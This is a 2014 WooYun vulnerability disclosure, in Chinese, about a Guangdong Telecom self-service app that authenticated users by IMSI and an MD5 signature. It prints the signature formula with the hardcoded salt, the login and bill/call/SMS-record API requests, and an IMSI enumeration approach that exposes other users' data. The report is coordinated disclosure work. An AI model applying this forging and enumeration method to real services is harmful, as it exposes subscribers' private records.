当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-067250

漏洞标题:某省电信掌厅认证缺陷导致大量用户身份、话费、通话详单、短信详单信息泄露

相关厂商:电信

漏洞作者: 爱Gail

提交时间:2014-07-03 17:14

修复时间:2014-08-17 17:16

公开时间:2014-08-17 17:16

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-03: 细节已通知厂商并且等待厂商处理中
2014-07-08: 厂商已经确认,细节仅向厂商公开
2014-07-18: 细节向核心白帽子及相关领域专家公开
2014-07-28: 细节向普通白帽子公开
2014-08-07: 细节向实习白帽子公开
2014-08-17: 细节向公众公开

简要描述:

某省电信掌厅认证缺陷导致大量用户身份、话费、通话详单、短信详单信息泄露

详细说明:

下载了广东电信的掌厅,运行后自动就登陆了,可以查询话费、详单等内容
于是,研究了一下app发出的认证url,发现是通过imsi进行认证的

GET /MOService/api?method=user.login&name=gdtelcom&imsi=4600302300000&esn=&category=android&termcode=HUAWEIM&timestamp=140000000&channel=3&v=1.0&format=1&sig=313B4084A21E78B7A90000000&loginaccount=&loginpwd=&logintype=1&appversion=1.1.97 HTTP/1.1
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.2.2; HUAWEI MT2-C00 Build/HuaweiMT2-C00)
Host: 61.140.99.28:8080
Connection: Keep-Alive
Accept-Encoding: gzip


通过修改imsi查询别的手机,发现返回报错,那么一定有验证
根据排除法一个个测试,测出验证时sig这个字段,sig后面的那一段就是很关键的部分
上网找了电信的sig验证文档,并据此生成sig都失败了,后来买办法就反编译了此掌厅app
找到了sig生成的代码

1.JPG


关键的部分在

String str = j.c("gdtelcom" + this.j + "android" + this.h + this.e + localLong + "31.01gdteltelcom123Ax");
localArrayList.add(new BasicNameValuePair("sig", str));


对此翻译成可以理解的字段为:

str="gdtelcom"+imsi+"android"+termcode+sessionkey+timestamp+"31.01gdteltelcom123Ax"


j.c这个函数追了一下,基本就是对字符串str进行md5,字符串str包含了固定值和变动部分,变动部分包括imsi、termcode、sessionkey、timestamp部分
搞清楚后就用c写一个程序,自动生成imsi和对应的sig

2.JPG


选择本手机imsi对应的前后1000个imsi进行测试

3.JPG


在返回的数据包中,大小超过700的都是成功的,可以看到机主姓名和登陆成功消息
在认证通过后,就可以进行业务办理和查询了
分析了一下app的URL链接
实时账单

GET /MOService/api?method=bill.queryBillnow&name=gdtelcom&imsi=46003000000&esn=&category=android&termcode=HUAWEI&sessionkey=14010000008&timestamp=140108000000&channel=3&v=1.0&format=1&sig=669046A570E75000000000001 HTTP/1.1


查询账单

GET /MOService/api?method=bill.queryBill&name=gdtelcom&imsi=4600302000000&esn=&category=android&termcode=HUAWEI&sessionkey=140108700000000&timestamp=14010800000&month=201403&channel=3&v=1.0&format=1&sig=9FF924AD7474D000000000 HTTP/1.1


短信详单

GET /MOService/api?method=detail.querySdetail&name=gdtelcom&imsi=46003023600000000&esn=&category=android&termcode=HUAWEI&sessionkey=140108748504000000&timestamp=14010800000&listingSign=1&qrytime=201405&currentPage=1&pageSize=10&channel=3&v=1.0&format=1&sig=1EBE7C1BBF7A00000 HTTP/1.1


上网详单

GET /MOService/api?method=detail.queryJdetail&name=gdtelcom&imsi=460030236500000&esn=&category=android&termcode=HUAWEI&sessionkey=14010874850400000000&timestamp=1401000000&listingSign=1&qrytime=201405&currentPage=1&pageSize=10&channel=3&v=1.0&format=1&sig=1A96316CBD691C165900000000 HTTP/1.1


电话详单

GET /MOService/api?method=detail.queryTdetail&name=gdtelcom&imsi=4600302000000&esn=&category=android&termcode=HUAWEIMT&sessionkey=1401087485040&timestamp=14010880000&listingSign=1&qrytime=201405&currentPage=2&pageSize=10&channel=3&v=1.0&format=1&sig=F683426586C143C0A3D1800000 HTTP/1.1


构造不同的url,其中有些url中sig的值与早期的计算方法不同,这里不细说了
总之,可以通过构造URL方式,修改imsi和sig得到任意手机号的上述详单和话费信息
服务器返回的都是json数据,很容易看
话费情况

4.JPG


短信详单

5.JPG


电话详单

6.JPG


自动化程序可以讲所有数据获取下来,导致拖库一样的后果

漏洞证明:

话费情况

4.JPG


短信详单

5.JPG


电话详单

6.JPG

修复方案:

加强安全设计

版权声明:转载请注明来源 爱Gail@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-07-08 11:11

厂商回复:

CNVD确认并复现所述情况(未进行逆向部分),已经转由CNCERT向中国电信集团公司通报,建议其做好APP软件安全防护。该案例做为APP应用安全的典型安全,鼓励逆向工作,rank 20

最新状态:

暂无